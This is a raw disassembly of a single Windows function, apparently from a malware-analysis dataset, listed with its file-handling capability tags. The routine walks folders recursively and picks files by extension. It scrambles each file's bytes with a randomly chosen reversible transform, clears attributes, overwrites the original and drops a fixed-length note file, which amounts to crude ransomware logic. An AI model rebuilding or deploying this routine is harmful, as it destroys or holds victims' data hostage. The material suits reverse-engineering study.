Function at 0x1314e370
Capabilities:
Get file size
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x37
push 0
push 0
dec ecx
jne 0x1314e378
push ebx
push esi
push edi
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
call fcn.131448dc
lea eax, [ebp - 0x170]
mov edx, dword [0x13145da4]
call fcn.13144af8
xor eax, eax
push ebp
push 0x1314e941
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x174]
mov ecx, 0x1314e958
mov edx, dword [ebp - 8]
call fcn.13144738
mov eax, dword [ebp - 0x174]
lea ecx, [ebp - 0x170]
mov edx, 0x3f
call fcn.131469f4
jmp 0x1314e8ec
mov eax, dword [ebp - 0x164]
cmp byte [eax], 0x2e
jne 0x1314e40e
lea eax, [ebp - 0x178]
mov edx, dword [ebp - 0x164]
mov dl, byte [edx]
call fcn.13144638
mov eax, dword [ebp - 0x178]
mov edx, 0x1314e968
call fcn.13144838
je 0x1314e8aa
push dword [ebp - 8]
push 0x1314e974
push dword [ebp - 0x164]
lea eax, [ebp - 0x17c]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x17c]
mov eax, 0x1314e980
call fcn.131449d4
test eax, eax
jg 0x1314e658
push dword [ebp - 8]
push 0x1314e974
push dword [ebp - 0x164]
lea eax, [ebp - 0x180]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x180]
mov eax, 0x1314e980
call fcn.131449d4
test eax, eax
jg 0x1314e658
push dword [ebp - 8]
push 0x1314e974
push dword [ebp - 0x164]
lea eax, [ebp - 0x184]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x184]
mov eax, 0x1314e990
call fcn.131449d4
test eax, eax
jg 0x1314e658
push dword [ebp - 8]
push 0x1314e974
push dword [ebp - 0x164]
lea eax, [ebp - 0x188]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x188]
mov eax, 0x1314e9a0
call fcn.131449d4
test eax, eax
jg 0x1314e658
push dword [ebp - 8]
push 0x1314e974
push dword [ebp - 0x164]
lea eax, [ebp - 0x18c]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x18c]
mov eax, 0x1314e9b0
call fcn.131449d4
test eax, eax
jg 0x1314e658
push dword [ebp - 8]
push 0x1314e974
push dword [ebp - 0x164]
lea eax, [ebp - 0x190]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x190]
mov eax, 0x1314e9c0
call fcn.131449d4
test eax, eax
jg 0x1314e658
push dword [ebp - 8]
push 0x1314e974
push dword [ebp - 0x164]
lea eax, [ebp - 0x194]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x194]
mov eax, 0x1314e9d0
call fcn.131449d4
test eax, eax
jg 0x1314e658
push dword [ebp - 8]
push 0x1314e974
push dword [ebp - 0x164]
lea eax, [ebp - 0x198]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x198]
mov eax, 0x1314e9e0
call fcn.131449d4
test eax, eax
jg 0x1314e658
push dword [ebp - 8]
push 0x1314e974
push dword [ebp - 0x164]
lea eax, [ebp - 0x19c]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x19c]
mov eax, 0x1314e9f0
call fcn.131449d4
test eax, eax
jg 0x1314e658
push dword [ebp - 8]
push 0x1314e974
push dword [ebp - 0x164]
lea eax, [ebp - 0x1a0]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1a0]
mov eax, 0x1314ea00
call fcn.131449d4
test eax, eax
jg 0x1314e658
push dword [ebp - 8]
push 0x1314e974
push dword [ebp - 0x164]
lea eax, [ebp - 0x1a4]
mov edx, 3
call fcn.131447ac
mov edx, dword [ebp - 0x1a4]
mov eax, 0x1314ea10
call fcn.131449d4
test eax, eax
jle 0x1314e8aa
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push dword [ebp - 8]
push 0x1314e974
push dword [ebp - 0x164]
lea eax, [ebp - 0x1a8]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x1a8]
call fcn.131448ec
push eax
call sub.kernel32.dll_CreateFileA_1
mov edi, eax
push 0
push edi
call sub.kernel32.dll_GetFileSize_1
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
call fcn.131428c4
mov dword [ebp - 0x18], eax
push 0
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x18]
push eax
push edi
call sub.kernel32.dll_ReadFile_1
push edi
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
push ebp
push 0x1314e7b1
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.13142ca4
mov eax, 3
call fcn.131432a4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x1314e719
mov esi, dword [ebp - 0x10]
test esi, esi
jl 0x1314e719
inc esi
xor ebx, ebx
mov eax, dword [ebp - 0x18]
mov al, byte [eax + ebx]
mov byte [ebp - 1], al
mov al, byte [ebp - 1]
not al
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x18]
mov dl, byte [ebp - 1]
mov byte [eax + ebx], dl
inc ebx
dec esi
jne 0x1314e6fb
cmp dword [ebp - 0xc], 1
jne 0x1314e749
mov esi, dword [ebp - 0x10]
test esi, esi
jl 0x1314e749
inc esi
xor ebx, ebx
mov eax, dword [ebp - 0x18]
mov al, byte [eax + ebx]
mov byte [ebp - 1], al
mov cl, 2
mov al, byte [ebp - 1]
rol al, cl
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x18]
mov dl, byte [ebp - 1]
mov byte [eax + ebx], dl
inc ebx
dec esi
jne 0x1314e729
cmp dword [ebp - 0xc], 2
jne 0x1314e779
mov esi, dword [ebp - 0x10]
test esi, esi
jl 0x1314e779
inc esi
xor ebx, ebx
mov eax, dword [ebp - 0x18]
mov al, byte [eax + ebx]
mov byte [ebp - 1], al
mov cl, 7
mov al, byte [ebp - 1]
ror al, cl
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x18]
mov dl, byte [ebp - 1]
mov byte [eax + ebx], dl
inc ebx
dec esi
jne 0x1314e759
cmp dword [ebp - 0xc], 3
jne 0x1314e7a7
mov esi, dword [ebp - 0x10]
test esi, esi
jl 0x1314e7a7
inc esi
xor ebx, ebx
mov eax, dword [ebp - 0x18]
mov al, byte [eax + ebx]
mov byte [ebp - 1], al
mov al, byte [ebp - 1]
neg al
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x18]
mov dl, byte [ebp - 1]
mov byte [eax + ebx], dl
inc ebx
dec esi
jne 0x1314e789
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x1314e7bb
push 0
push dword [ebp - 8]
push 0x1314e974
push dword [ebp - 0x164]
lea eax, [ebp - 0x1ac]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x1ac]
call fcn.131448ec
push eax
call sub.kernel32.dll_SetFileAttributesA
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push dword [ebp - 8]
push 0x1314e974
push dword [ebp - 0x164]
lea eax, [ebp - 0x1b0]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x1b0]
call fcn.131448ec
push eax
call sub.kernel32.dll_CreateFileA_1
mov edi, eax
push 0
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x18]
push eax
push edi
call sub.kernel32.dll_WriteFile_1
push edi
call sub.kernel32.dll_CloseHandle_1
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
push dword [ebp - 8]
push 0x1314e974
push dword [ebp - 0x164]
push 0x1314e980
lea eax, [ebp - 0x1b4]
mov edx, 4
call fcn.131447ac
mov eax, dword [ebp - 0x1b4]
call fcn.131448ec
push eax
call sub.kernel32.dll_CreateFileA_1
mov edi, eax
push 0
lea eax, [ebp - 0x14]
push eax
push 0x57
push 0x1314ea20
push edi
call sub.kernel32.dll_WriteFile_1
push edi
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x168]
and eax, 0x10
cmp eax, 0x10
jne 0x1314e8ec
mov eax, dword [ebp - 0x164]
cmp byte [eax], 0x2e
je 0x1314e8ec
push dword [ebp - 8]
push 0x1314e974
push dword [ebp - 0x164]
lea eax, [ebp - 0x1b8]
mov edx, 3
call fcn.131447ac
mov eax, dword [ebp - 0x1b8]
call fcn.1314e370
lea eax, [ebp - 0x170]
call fcn.13146a44
test eax, eax
je 0x1314e3da
lea eax, [ebp - 0x170]
call fcn.13146a68
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x1314e948
lea eax, [ebp - 0x1b8]
mov edx, 0x12
call fcn.13144490
lea eax, [ebp - 0x170]
mov edx, dword [0x13145da4]
call fcn.13144bbc
lea eax, [ebp - 8]
call fcn.1314446c
ret